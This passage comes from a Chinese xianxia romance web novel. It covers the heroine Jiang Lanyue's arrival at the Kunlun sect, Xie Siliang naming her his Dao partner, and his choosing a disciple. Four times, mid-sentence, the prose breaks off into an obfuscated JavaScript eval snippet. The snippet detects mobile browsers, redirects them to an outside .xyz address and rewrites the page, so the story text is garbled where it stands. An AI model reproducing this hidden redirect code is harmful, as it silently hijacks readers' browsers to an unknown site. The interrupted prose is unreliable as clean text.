少年的手掌很大，由于常年持剑，掌心有着淡淡的薄茧。 “你的手好冰，”姜揽月感叹了一句，爬完了这么长的云梯，她早已浑身发热，碰到谢思量的手之时，只感觉握到了一块冷玉，“好舒服。” 舒服？ 少年动作一顿。 梨花纷纷落下，仙鹤在空中齐鸣。 姜揽月任由谢思量牵着自己，二人一起走过长长的云梯，云雾在两旁漂浮。 被谢思量牵着的时候，她感到没由来的安心感。 不随后又立即清醒，到底谁眼盲啊，她居然还要让谢思量带着她走？ 不过想归想，现实情况是她自己一人根本走不完，还是让谢思量带着她吧。 台阶之上，是昆仑宗的牌匾，在云雾中若隐若现。 望着那龙飞凤舞的三个字，姜揽月百感交集，半个月前，她还以为自己能永远离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924709|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里。不想，这么快就又回来了。 少女嘴角勾起一丝笑容，她望着越来越厚的梨花道：“谢思量，这是我们一起走的花路。” “嗯。” “你知道什么是花路吗？” “不知道。”少年道。 “在我的家乡，走‘花路’是指以后都会走平坦顺畅的路。我们今日一起走了花路，以后便会一切顺利。” “嗯，一切顺利。”谢思量握紧了姜揽月的手。 * 云梯直直通向昆仑的试炼场。 他们一边对战，一边瞥到了云梯上两个人影。 “你们看，那、那不是摇光师兄吗？！” “什么摇光师兄，该叫摇光仙君了？” “师兄手中牵着的女子是谁？是我们昆仑宗的吗？” “师兄不是去除妖去了吗？怎么还带了一个陌生女子回来？” 众人只见谢思量手中牵着一位面容姣好的女子，女子朱唇粉面，乌发如云，一双桃花眼如秋水潋滟。她穿着水蓝色的浮光襦裙，雪白的花瓣在她身边落下，当真如玉承明珠，花凝晓露。 再加上牵着她的人是谢思量，是昆仑第一美的谢思量，有人嘀咕道：“这是在成亲吗？又是花又是仙鹤的。” 几人本来还在议论，但见谢思量和那女子已经走了过来，便都纷纷闭了口。 …… 与此同时，昆仑的大殿之上，掌门天枢长老对着水境，两道粗黑的眉毛拧起，露出了不可思议的神色。 “天枢，你那是什么表情？” 他的道侣，也是昆仑的天璇长老，走了过来。 “你来看看便知道了。”天枢长老往旁边走了一步，将位置留给了天璇长老。 果不其然，下一秒，天璇长老的脸上也露出了不可置信的神色。 “摇光，怎得带了个女子回来？”而且居然还牵着她的手，将其一步一步的引上了云梯。 二人原以为谢思量又会蒙着白布，手持观雪，一步一步踏上台阶，未想到却见到了这样一副场景。 两位长老对视一眼，都互相在对方眼中看到了震惊。 “等会得问问摇光是怎么一回事？” “摇光这次外出这么久，难道和那个女子有关系？” 天璇还看着水境，见二人已经快走完天梯了，便道：“走吧，出去看看，听闻摇光这次受伤了。” * 等二人终于走完了三千台阶之后，姜揽月真想立马坐到地上，道“我不行了”。但一看面前这么多弟子和长老，硬生生把这句话憋了下去。 她还记得，面前的两位长老是谢思量的师父和师娘，在太上长老面前，她忽地有些见长辈的心虚。 少女默默地从谢思量手中抽出了自己的手。 少年手指微动。 “摇光，这位是……”玉璇真人望向姜揽月。 上辈子由于她一直在玉霄殿过着骄奢淫逸的生活，这两位长老都不怎么待见她，估计知道她临死前还捅了谢思量一刀，恐怕连想杀了她的心都有。 “道侣。” 谢思量轻启薄唇：“她是我未来的道侣。” 5. 重生（四） “你知道吗？摇光仙君这次除妖，居然带了个女子回来？！” “听说了吗？谢师兄有道侣了？！” “什么道侣啊，那明明是凡人，听说一点灵力都没。” “可是是摇光仙君自己说是道侣的！” “而且走三千阶梯时，谢师兄还牵着那个女子！” “牵吗？我怎么听说是抱呢？” “想不到啊，无情道居然还会有道侣？” …… 这一日，昆仑的所有弟子都在疯传这个消息。 昆仑第一弟子谢思量，摇光仙君，无情道第一剑修，居然在昆仑的宗门的前，当着长老和过路的弟子，说自己有道侣，还牵着那位道侣一步一步走上了阶梯。更令人震惊的是，那位女子只是为灵力低微近似凡人的女修。 * 昆仑大殿内。 屋内熏香袅袅，昆仑的几位剑修长老皆聚于此。 “思量，可以和我们说说到底是怎么回事吗？你真的要和那位女子结为道侣吗？”天璇长老开口道。 刚在三千级天梯前，谢思量牵着一位女子的手慢慢走上来，还说这女子是他的道侣。这一行为在昆仑里掀起了不小的风波，无论是长老还是弟子对此都很惊讶。 谢思量十三结金丹，十四入元婴，十六破大乘，十八勘化神，不仅是昆仑的首席弟子，更是如今仙盟中最出名的天之骄子。 修炼至化神境界，相当于已半步便踏入仙境。修仙讲究一个天赋，有的人年过半百尚在金丹，有的人未及弱冠便勘破元婴。能修至化神乃是天才，而谢思量无疑是这些天才中最耀眼的一位。 若是结了道侣，这便相当于入了红尘，更何况这道侣和谢思量的修为差距还如此之大，而太上忘情道又讲究断绝七情六欲，所以这势必会影响修行，也就是说无情道修士成亲原本就是一个悖论。 谢思量开口：“半月前，我追那只魔鲛至太虚海，被其重伤。幸得揽月相救，才可再回昆仑。此次成亲，乃是报恩。” “报恩啊？”天璇轻轻颔首，“那那位姑娘知道你是无情道的吗？” 毕竟谢思量修的是无情道，太上忘情，无情道讲究断绝七情六欲，一些邪道的修士甚至杀妻杀父杀母证道，所以她有些担心会不会耽误那位姑娘。 “她知道。”谢思量垂眸。 “好，那既然是你的决定，我也不会干涉。”天璇长老道。 自谢思量拜入昆仑宗以来，她几乎是看着他长大的。谢思量性格较为孤僻，不好与人交往，但若是决定了的事情任谁也改变不了。 一旁的贪狼长老又道：“摇光，你真的确定了吗？你可是修无情道的，若是被这姑娘影响到你的前途怎么办？” “而且你如今也是仙君，马上收徒大会都可以带徒弟了，真的要和这凡人女子结为道侣吗？” 几位长老修为皆已至化神，一眼便可看出姜揽月的修为。灵力微乎其微，近似凡人。 “师父，弟子早已说过，此次成亲，乃是报恩。弟子自拜入昆仑以来，心中想的便是修道问仙，斩妖除魔。弟子道心坚如磐石，绝不会为外力所破。”少年清冷的声音在大殿中响起，“师父大可放心。” “唉，你真的……”贪狼长老横眉竖起，气的用手指着谢思量，最后叹息一句：“你这性格就是太固执了！” 怎么能和一个凡人女子结为道侣呢？ 天枢长老前来劝道：“摇光有他自己的想法，我们就不要多加干涉了。而且他自己也说过，这只是报恩。” 随后对谢思量道：“你贪狼长老有些偏激了。那你可想好了，你这无情道，会不会耽误人家姑娘？” 谢思量嘴角勾起一抹嘲讽的笑：“师父，摇光夫人这个位置不少人想要呢。” 天枢叹了一口气，他知道谢思量的意思。 “既然这样，我们也不会过多干涉。只要那位小道友也同意便好。” * 谢思量被几位长老喊走了，姜揽月便一人被留在大殿外。 她也没有歇着，站在一棵梨花树下，便开始引气入体。昆仑灵气充裕，一股浓郁的灵力灌入灵脉，沁人肺腑。这辈子，她定要好好修炼。 “走吧。” 片刻后，谢思量便从大殿中走了出来，他一袭白袍，依旧是那副皎皎君子，温润如玉的模样。 “去哪儿？”姜揽月回过神。 “自然是玉霄殿。” “好。”姜揽月立马跟上了谢思量。 不用问，她也知道谢思量被叫进去是因为什么，自然是因为她这个莫名其妙出现的“道侣”了。 “谢思量，”姜揽月小声开口，“他们是不是问我们的关系了啊？” “嗯。”谢思量没有否认。 “他们是不是都非常惊讶？？” 谢思量淡淡抬眉：“你我二人已经说好，容不得其他人来说三道四。” 姜揽月“哦”了一声，她放了心，这很谢思量。 走上弯弯曲曲的小道，二人一起来到了玉霄殿。 玉霄殿位于云雪峰，云雪峰作为昆仑最高峰，气温较低，常年飘雪。 也正是因为如此，才将此峰给了谢思量，因为一般修士根本受不住这里长年累月的寒冷。 不过，这里面的一般修士不包括姜揽月。她生为鲛人，天性好冷，云雪峰常年飘雪对她来说简直再好不过了。 抬眼望去，雪花纷纷而落，再加上那雪白的梨花，一片冰清玉洁之景。 再次见到这副景色，姜揽月甚感亲切。 瞧这梨花与雪齐落的景色，多美啊。 谢思量：“玉霄殿房间很多，你自己挑一间住吧，有什么事情吩咐童子便是。” 姜揽月点点头：“好，多谢仙尊。” 她没有选其他房间，和上辈子一样，住进了摘星阁。 为什么选这个房间呢？无他，正是因为这个名字，摘星揽月，多么配啊。 走入摘星阁，姜揽月没找童子，自己熟门熟路地收拾了房间。 我亲爱的玉霄殿，我亲爱的摘星阁，我又回来了！ 就在姜揽月收拾之时，她又听见了竹门被轻叩的声音。 少女打开房门，发现门外站了一个白袍身影。 “谢思量，怎么了？” 据她的了解，谢思量不可能没事找她的，可以说只要找她必有事情。 果不其然，青年开口道：“三日后是收徒大典，你和我一起去吧。” 姜揽月抬眼：“收徒大典？” 她有些惊讶：“你这么快就能收徒了？” 谢思量：“……” 姜揽月自顾自又道：“是只要过了大乘就能收徒是吧，你都化神了，我了解了。” 谢思量颔首：“三日后再见。” 少年走后，姜揽月嘀咕道：“谢思量收的徒弟比他小不了多少，还有些比谢思量大的想拜他为师。”当然，她不是说这种行为不对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924710|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，毕竟修仙看天赋，而像谢思量这般的万里挑一，一百年可能才出一个，大部分人都是芸芸众生中普通的一员罢了。 她记得谢思量上辈子的徒弟好像就比她小两岁。 唉，令人嫉妒啊，这就是天赋的差距。 她屏息凝神，试着感受自身灵脉，发现还是非常微弱。 少女细眉微蹙，由于是人族和鲛人的混血，她每个月会有一次血脉反噬。每当反噬来临，可以说是生不如死，她之前都是依靠去妖市换点止疼丹药，靠止疼药度过反噬时期，不知道该如何根治。 上辈子她听信系统，以为走完了剧情就可以回到原来的世界，所以根本没有怎么修炼过，一直在玉霄殿拿着谢思量的灵石过快活日子。 然而这一世，她不能再如之前那般了。好好修炼，好好治疗身子，才是最优解。 * 第四日，姜揽月起了个大早，她记得谢思量和他说今日是收徒大典，她作为摇光夫人，也必须得去。 对着铜镜，姜揽月随意理了一下鬓发。少女乌发雪肤，容颜精致。她今日穿了一件浅蓝色的襦裙，耳边银色的耳铛犹如蝴蝶。 鲛人天性貌美，上辈子姜揽月刚开始还会对着镜子欣赏自己的容颜，不过看到后来，便逐渐习惯。 她手上拿着支玉簪，正欲往发间簪，忽地想到谢思量如今眼盲，不会束头发！ 上次在山洞里，谢思量就是随意把头发簪起，他现在眼睛瞎了，肯定不会戴发冠。 今日又是收徒大典这样重要的事情，于是姜揽月连忙把自己打扮好，然后跑到了谢思量房间。 谢思量房间离她的房间不远。 “咚咚咚。” 少女叩响了木门。 “进来。” 是谢思量温润的声音。 她一把推开房门，谢思量正站在桌旁擦拭着自己的剑。 少年站在桌旁，穿着雪白的袍子，长身玉立，一尘不染，袖口是金色的丝线，隐隐有符文飘荡。日光倾泻在他的身侧，如墨的发丝泛着金边，好像在发光。 姜揽月微微一滞。 “收徒大典在巳时。” 耳边传来少年的声音。 什么？他竟以为自己搞错了时间。 “我知道。” 抬眼看，房内干整洁，清新雅致，只有床和桌子这种必要的设施，令人不相信这是一峰之主屋内的陈设。 “那你来所谓何事？” 姜揽月走到谢思量身边，双手背在身后，“仙君，我来帮你束发吧。” “束发？”谢思量没有停止手上的动作。 “对啊，我知道你现在不大方便。” 这话怎么听起来有点歧义呢？姜揽月连忙解释道：“仙君，我不是说你平时的发型不好。我的意思是，今日是收徒大会，我想帮你戴玉冠……” 她的声音越来越小，这话听起来跟嫌弃谢思量现今的发型一样。 谢思量如今的头发用玉白色的发带在脑后扎起，为他的气质中的添了一丝柔和。 但姜揽月记得，谢思量上辈子的一直用冠束发，如切如磋，如琢如磨。 “好，那多谢姑娘了。”谢思量坐下，道：“是谢某没有考虑到。” ？？？他居然这么直接就同意了，姜揽月他会说“君子不在乎容貌之事”呢？原来还是有点在乎的啊。 “还有，”谢思量又开口道，“以后私下不用喊我仙君，喊我谢思量便好。” 6. 拜师（一） 姜揽月动作一顿，心道谢思量果然不愧是正派修士，不在乎这些徒有其表的虚名。 少女当即便喜笑颜开，道：“好啊，谢思量。” 她握住谢思量如缎的黑发，他的头发很顺滑，好像握住了水。 “谢思量，那你也不要总还是喊我姑娘了，听起来多生疏啊。我有个小名，叫阿月，我娘一直都是这么喊我的，认识我的朋友也都是这么喊我的。怎么样？喊一下呗。” 谢思量默默垂睫。 姜揽月忽地也有些心虚，二人的关系好像还没到可以叫小名的程度，于是便故作轻松道：“叫不出来也没事，就喊我姑娘吧，姜姑娘也很好听。” “……阿月。” 青年嗓音清冷疏淡，这两个字自他嘴中吐出便有一种不一样的感觉，尾音好像带着点缱绻。 姜揽月立感不妙，阻拦道：“算了，还是叫我姑娘吧。喊我揽月也行，姜揽月多好听啊对吧哈哈哈哈。‘欲上青天揽明月’，怎么样？我的名字是不是有一个非常美好的愿望。” “嗯。”谢思量颔首，看不出他在想什么，“很好听。” 姜揽月又是一顿，她上辈子来玉霄殿后，和谢思量接触很少，不想他原来的性格不如她之前想的那般高冷，是她刻板印象了。 最后将谢思量的头发束起，戴上玉冠之后，姜揽月嘀咕道：“若是有机会下山，我一定再帮你多买几个玉冠，让你换着用。” 谢思量是非常具有代表性的剑修，一切都非常随便，唯独不能亏了他的剑。不过他的剑是神剑，不怎么需要他照顾就是了。 桌上的发饰屈指可数，总共也只有几根发带和一个发冠。 谢思量抬眉：“劳烦姑娘忧思，不过谢某对此不甚在意。” 姜揽月心道：“怎么又是这句话？” 不过面上却不理他，只道：“谢思量，好了，我们走吧。” 戴上玉冠后的谢思量，芝兰玉树，如琢如磨，又是她记忆中的那位仙君了。 “嘿嘿，真美，不愧是我的手法。”姜揽月独自欣赏道。 青年动作微微顿。 这鲛人难道真的心悦他？ 他一直都知道自己这幅皮囊在常人眼中是不错的，自拜入昆仑以来，经常会有修士直接盯着他的脸看，更有大胆女修直接向他表白。真正长得美的人是不可能不知道自己长得美的，因为身边的人都会不断地告诉他。 “什么美？” 姜揽月抬头，道：“当然是仙君你美啦，戴上玉冠的仙君，简直是皎皎公子。” “所以这就是你经常偷看我的原因？” “……是欣赏，不是偷看。”即使被当事人点出，姜揽月依旧义正言辞，没有半分羞耻，“欣赏美是每个人的权利，世间所有美好的事物都值得令人欣赏。” 谢思量在自己眼周缠了一圈布条，道：“皮囊之下皆是一具白骨，姜姑娘还是不要喜欢为好。” 他忽地笑起来，语气甚至可以称得上恶劣：“若是我这副皮囊没了，姜姑娘还会喜欢我吗？” 姜揽月：“……” 不想理他。 这人在某些方面的脑回路总是非常奇怪，和常人不一样。 她推着谢思量：“仙君，时辰快到了，我们走吧。” * 与此同时，昆仑的大殿中。 约五十名弟子跪坐在大殿之中，这些都是这次考核的优秀弟子，有机会成为各位长老的亲传弟子。 一位少年小声道：“喂，你们想拜到哪位长老名下啊？” 身旁的女孩道：“想有什么用，得长老收才行啊。” “哎呀，人总得有个愿望吧。说说呗，你想拜倒哪位长老门下？”少年依旧不依不饶。 女孩道：“你好烦啊，我想拜入天玑长老门下，她是昆仑唯一一位女剑修长老。” 一旁另一个少年加入：“我想拜到摇光仙尊门下，我听说摇光仙尊今年开始收徒了。你们知道吗？摇光仙尊，十五岁拿了论剑大会的第一，十八岁就堪破了化神。” “废话，仙盟谁不知道摇光仙尊。仙尊在论剑大会中夺得魁首后，早已扬名九州，谁不知道昆仑有一位天才。” 几位少年称呼的都是“仙尊”，并没有用长老这个词。因为摇光仙君今年不过十九，喊长老好像把人称呼的年纪太大。 “对啊，那你不想成为摇光仙尊的亲传弟子吗？我就想成为仙君的亲传弟子。” “说到摇光仙君，你们知道他前几日带了一位道侣回来吗？”一位新弟子加入道，“我当时在试炼场，亲眼看见了仙尊前着那女修的手一步一步的走上了阶梯。” “啊？”女孩面露疑惑，“可仙君不是修的太上忘情道吗？怎得还能有道侣？” 那少年凑近了道：“这你就不懂了吧，仙君这肯定是非常有自信就算有道侣也不会影响自己修炼啊。” 女孩为姜揽月打抱不平：“什么？这对那位女修也太不公平了吧。” “唉，你们都错了。”又一人插言道，“我听说是仙君除妖受伤，那女子救了仙君，仙君为了报恩这才和那位女子结为道侣的。” “啊？是这样吗？” “嘘，小声点，长老们来了。”一位弟子连忙道。 话音刚落，便见大厅中迎面走来了几个人。 几位弟子连忙正襟危坐起来。 首先是昆仑的掌门和掌门夫人，身后是二长老和三长老，直到最后，大家才看到了一位年轻的长老。他身着白袍，头戴玉冠，双眼缠着一圈白色绷带，整个人气质一尘不染，恍如谪仙，想来这应该就是那位传说中的摇光仙君了。 但是，摇光长老身侧怎么站了一位女人？ 弟子们都心中了然，这应该就是传言中的那位摇光夫人。 只见那位夫人生得极白，面若桃李，漂亮的桃花眼黑白分明，眼角弯弯，似西湖烟雨。她未施粉黛，身着水蓝襦裙，乌黑的长发仅用一根簪子简单挽起，仅仅只是站在那里，便让人的目光不自觉地往那边看。 两位站在一起，只能让人想起“郎才女貌”四个字。 其实不止底下这些弟子，几位长老当时看到姜揽月时也震惊了一下，谢思量居然真的把他这位道侣带了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924711|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来。 天璇长老眼角带笑：“摇光今日的头发是揽月束的吗？” 谢思量因为眼盲，头发向来便是随随便便扎起，今日居然罕见地束了发冠。青年白衣胜雪，如墨的长发被一玉冠束起，更显俊雅。 他点点头，道：“是。” 天枢长老也看到了谢思量的发冠，赞许道：“摇光这头发一束确实是芝兰玉树啊。” 天玑长老在一旁打趣道：“摇光不束头发也是芝兰玉树。” 贪狼长老看着面前的年轻夫妻，眉头微微蹙起，道：“今日大典，怎得把这位凡人也带来了？” 开阳长老道：“唉，这你就不对了，姑娘与思量成亲，便是摇光夫人，大典这种事情理应让揽月姑娘参与。” 姜揽月心中默然，其实这种情况她早就预料到了。她知道，昆仑有许多人都不赞同他们二人成婚，都担心她会影响谢思量修无情道。她内心颇有些不屑，上辈子一起呆了四年也没见谢思量受影响啊，她哪有那么大能耐能影响谢思量修炼？ 她正准备开口，却听一道清冷的声音响起：“揽月是我的夫人，我以后的徒弟，自然得知道他的师娘。” 姜揽月一惊，谢思量居然会帮自己说话，难道是说今早为他束发的事情讨好到了他？ 贪狼长老又欲说些什么，但说话间几人已经走到了大殿。 天枢长老望向谢思量，道：“摇光，你今年首次收徒，你来先选吧，今年的这些弟子根骨都不错。” 其实，按照规矩来说大乘期便有长老之名，这时候便可以收徒了。但谢思量入大乘时才堪堪十六，便以自己年纪小推脱了收徒之事。于是今年刚破化神，几位长老便让他收徒试试。 “对啊，摇光今年是第一次，摇光你先来吧。”天玑长老也道。 话音刚落，大殿中的视线便全都集中了谢思量身上，大家都想看看这位新任长老会怎么选，是看成绩？看根骨？还是看家世？抑或是这些都不看，只随心所欲。 跪坐在下方的弟子都内心焦灼，有些弟子希望有幸被摇光仙尊选中，有些弟子则害怕被谢思量选中。 “夫人，我看不见，你可有钟意的徒弟？”众目睽睽之下，谢思量竟转头“望”向姜揽月。 姜揽月一顿，前世谢思量也没问她这个问题啊，难道是因为这一世眼盲这个原因？ 她连忙小声道：“收徒这种事情还是你自己决定吧，这可是你的徒弟，我找的徒弟可能也不和你的心意啊。” “可我也看不见啊，”青年神色慵懒，“那就随便选吧。” 他随手摘下桌旁的水仙，再用一道剑气将其掷入人群中，玉白色的水仙花在黑压压的人群中尤为显眼。 众人都看着谢思量的动作，不知道这位仙尊想要做什么，就连几位长老也有些惊讶地看着谢思量。 而处于视线中心的青年神色悠闲，对众人的反应一概不知。 台下的弟子屏息凝神，等待着谢思量的下一步动作，就连姜揽月也是，他到底要干嘛？ 片刻后，众人又听他道：“这花落在谁肩头，谁便是我的徒弟。” 7. 拜师（二） 话音刚落，便有一道年轻的男声：“长老，花在我这里。” 众人又齐刷刷看过去，果然看到这位少年的肩头有一朵水仙花。 这一切都发生在须臾。 姜揽月打量着那位少年。 少年穿着简单的黑色袍服，梳着高高的马尾，生得一副玉树临风之貌，神情看起来却有些呆滞。 是薛满。 那应该没错了，上一世谢思量的徒弟也是他。 “你可愿做我的徒弟？”谢思量淡淡道。 少年将肩头的花朵拿下，听到谢思量这句话后，满眼都是不可思议。 他一手拿着花，一手指着自己：“我、我吗？” 不仅是他，在场的其他人也都是满目惊讶。居然还有这么收徒的？ “对，你。”谢思量不想多说，语气淡然。 于是少年赶忙道：“我、我、我愿意。” 身边许多同样穿着黑色袍服的弟子向他投向了或羡慕或嫉妒的目光，能被摇光仙君收为亲传弟子实乃幸运，这少年凭什么？ 周围的一个女弟子小声道：“你快拜见师尊啊。” “噢噢。”这名立即反应过来，向谢思量行了给拜师礼，“弟子在此拜见师尊。” “好，”谢思量微微颔首，“此后你便是我的徒弟了。” “……”姜揽月哑然，这收徒仪式，是不是有点过分随便了？他上一世也是这样的吗？ 开阳长老咳嗽了一下，小声：“摇光，你这样收徒，是否有点太随便了？越州有一位弟子，我觉得挺适合你的，是今年的武试第一，还是苏长老的徒儿，在来之前和我说非常仰慕你。” 由于灵力差距，长老们说话台下的弟子是听不见的，但因为站在谢思量身边吗，姜揽月却能听得一清二楚，她心道这还居然走后门呢。不过凭着她对谢思量的了解，他应该不会在意这种事情，也不会给任何一个人面子。 果然，只听谢思量道：“师父，你也知道，我这双眼睛看不见，能指点他们的有限，更多的是靠他们自身。而且，收徒讲究的是一个缘。” 话已至此，论傻子也知道谢思量什么意思。 开阳长老悻悻道：“那依你吧。” 谢思量却忽地抬眸，看向姜揽月所在的方向，如泉水击石的声音在大殿响起：“夫人，你觉得我收的这个徒弟怎么样？” ？ 怎么又问她？ 你的徒弟为什么总是问我？ 但是在这么多人的注视下，姜揽月不得不回答：“夫君觉得好便可，我和夫君想的一样，目前的出身和实力并不能代表什么，师徒之间讲究的还是一个‘缘’字。既然夫君觉得和这位小友有缘，那么便可将这位小友收为弟子。” 天枢长老于是道：“是啊，收徒讲究的是一个缘分。既然思量觉得与那位小友有缘，便收那位小友为徒吧。” 在场的其他弟子面面相觑，谁也没有见过这么随意的收徒方式。有的长老看武试成绩，有的长老看根骨天赋，但这般以花朵降落在谁身上便收谁为徒弟的方式还是第一次见。 而且，摇光仙君居然还会征询身边那位女子的意见，看起来感情很好，这和传言中仙君只是为了报恩才和这位女子成亲不一样啊。 众人在大殿中默然无语。 这一场收徒大典结束后，不仅所有长老都知道姜揽月是谢思量的未来道侣，连在场的所有弟子也都认识传说中的摇光夫人了。 * 大典结束后，黑衣少年跟着谢思量一起来到了云雪峰。 “你叫什么名字？”姜揽月开口道。 这师徒二人都是不爱说话的性子，再加上谢思量到现在都没有问过薛满叫什么，她觉得自己应该关心一下这位小徒弟。 “在下名为薛满。”少年道。 “薛满，好名字。”姜揽月随口道。 “多、多谢！”薛满有些脸红，他第一次见到这么漂亮的女子。 即使在美人如云的修仙界，姜揽月这样的容貌也很少见。 “薛满，此后，这便是你的师娘。”一直未说话的谢思量忽然道。 “好，”薛满立即道：“多谢师娘！” “师娘？”姜揽月在心中默念这个称呼，好久没有听到这个称呼了，她竟然有些陌生。上辈子她一直在云霄殿混吃等死，和这位徒弟接触不多，所以总共也没听到几声“师娘”。 不知怎地，这句“师娘”倒是让她心情很好，少女不知不觉中弯了双眸，眼中更似盛了明光。 来到云雪峰，梨花与白雪齐落。 薛满略有些惊讶，之前早就听说摇光仙君居住的云雪峰常年飘雪，未曾想到见到原来会是这番模样，这冰清玉洁之景，确实很适合仙君这样高处不胜寒的人居住。 “谢思量，你的头发上又沾上花了。”姜揽月道，“这些花好像很喜欢你，我来帮你摘掉。” 谢思量闻言停下。 少女踮起脚，白净的指尖轻轻抚上了少年的发丝，将雪白的花瓣摘下。 清风吹来，少女浅蓝色的裙裾和青年雪白的袍角交缠在一起。 薛满看着面前并排站立的谢思量和姜揽月，仙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924712|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 君长身玉立，身旁的女子绰约多姿，梨花飘落在二人身侧，如同一对壁人。 他内心默然，昨日他从几位同门那听说摇光仙君这次从凡间带了一位道侣回来，据说二人是因为报恩才成亲。但如今这样一见，好像不似传言说的那样。他的师尊和师娘，明明感情很好。 来到玉霄殿后，薛满便向二人告辞。对于入门的新弟子，今日还有试炼。 “师尊，师娘，晚上还有练习，在下先告辞了。” 谢思量轻轻颔首，示意自己知道了。 姜揽月站在一旁，心想这个徒弟以后会一直跟着谢思量，上辈子虽然接触不多，对她却也是恭恭敬敬，于是便道：“以后常来玉霄殿。” 薛满：“多谢师娘。” “没事，以后会经常见面的。” 薛满走后，姜揽月嘀咕了一句：“年轻就是好啊，还会脸红。” 一旁的谢思量忽然转过头来：“夫人这是何意？” “啊？”姜揽月愣住，她没想到谢思量居然这么敏锐。 “我是说，看这些年轻的弟子，真有活力啊。” 谢思量抬眉：“这些弟子应该和你一般大吧。” 姜揽月立即笑道：“我知道，夫君你天赋卓绝，相同的年龄别人是弟子，你已经当上师尊了。” 谢思量：“……我不是这个意思。” 姜揽月：“没关系，我懂的，我的夫君天下第一厉害。” 谢思量：“……花言巧语。” * 夜晚，一轮满月静静地悬挂在空中，如水的月光倾泻在大地之上。 然而，屋内的姜揽月却没有那么好过，今夜是月圆之夜。 每当月圆之夜，便是她遭受血脉反噬的时候。 女子无力地躺在木桶中，冷汗涔涔，豆大的汗珠从脸颊坠落，姜揽月乌黑的头发紧紧贴在鬓角。 身体仿佛被无数把钝刀细细密密地扎着，疼痛蔓延至五脏六腑，仿佛有无数野兽正在撕咬。 目光渐渐模糊，眼前只有蒸腾的水汽。 姜揽月吞下了提前准备好的止痛药丸，碧蓝色的鱼尾蜷缩在木桶中，泛着粼粼的冷光。 她强忍着疼痛不发出任何声音，但这次实在是太疼了。 半盏茶的功夫后，药效上来，她才觉得视线慢慢恢复，周围的景物逐渐清晰。 不行，血脉反噬这也太疼了，而且这辈子好像要比上辈子疼，上辈子如果有这么疼她早就努力修炼了。 少女在木桶中微微喘息。 她必须寻找根治血脉反噬的方法。 8. 拜师（三） “阿爹，思量哥哥怎得娶别人了？女儿好伤心。他怎么下山后就成亲了啊？” “爹，他们说思量哥哥亲几日还亲手牵着那个女子一起走上了阶梯，还在收徒大会上询问她的意见，是不是真的？爹，到底是不是真的？呜呜呜呜那个女子到底有什么好？” 白晴雨正对着开阳长老哭诉，她是开阳长老的独女，自小在昆仑长大，算是谢思量的师妹。 对着面前抽抽搭搭的女儿，开阳长老一时也不知怎么回答，只无奈地叹了一口气。 天权夫人在一旁冷声道：“谢思量是修无情道的，晴雨你就不要再想他了。无情道多的是冷心冷情之人！他不娶你是好事！你知道有很多其他无情道修士都杀妻证道吗？！” “我相信思量哥哥，思量哥哥肯定不是这样的人！”白晴雨连忙反驳，母女二人经常因为此事吵架。 夫妇两对这娇蛮的女儿很是难办，作为长老的女儿，再加之年龄比较小，白晴雨自小便集万千宠爱于一身，同门中的师兄师姐也都让着她，久而久之就养成了娇蛮的性格。 “我要去看看思量哥哥的道侣，凭什么？凭什么那个女人能成为思量哥哥的道侣，明明是我先和思量哥哥认识的！凭什么！我要去找思量哥哥问清楚！” 白晴雨哭道，她冲向门口。 “你给我回来！” 天权夫人厉声道：“吵吵闹闹，成何体统！别出去丢人现眼！” 被一道灵力束缚之后，白晴雨哭道：“娘，你做什么啊？我要去找思量哥哥问清楚！” 天权长老道：“晴雨你冷静些，我听摇光说了，他这次和这女修成婚，实则为了报恩。” “报恩？”白晴雨有些疑惑，哭声渐渐停止，“真的吗？可我听说他牵着那女修的手一起走三千阶梯，他都没有牵过我。而且我还听说，他在收徒大会上询问那个女修的意见？是不是真的？爹，你也在收徒大会上吧？是不是真的？” 天权夫人沉声道：“谢思量亲自在大殿上说的，说这次除魔蛟受伤，那女修救了她，为了报恩二人便结为了道侣。” “不仅如此，”天权夫人话锋一转，又道：“他竟然还说自己道心不会受此影响。” “那我就放心了。”白晴雨小声道。 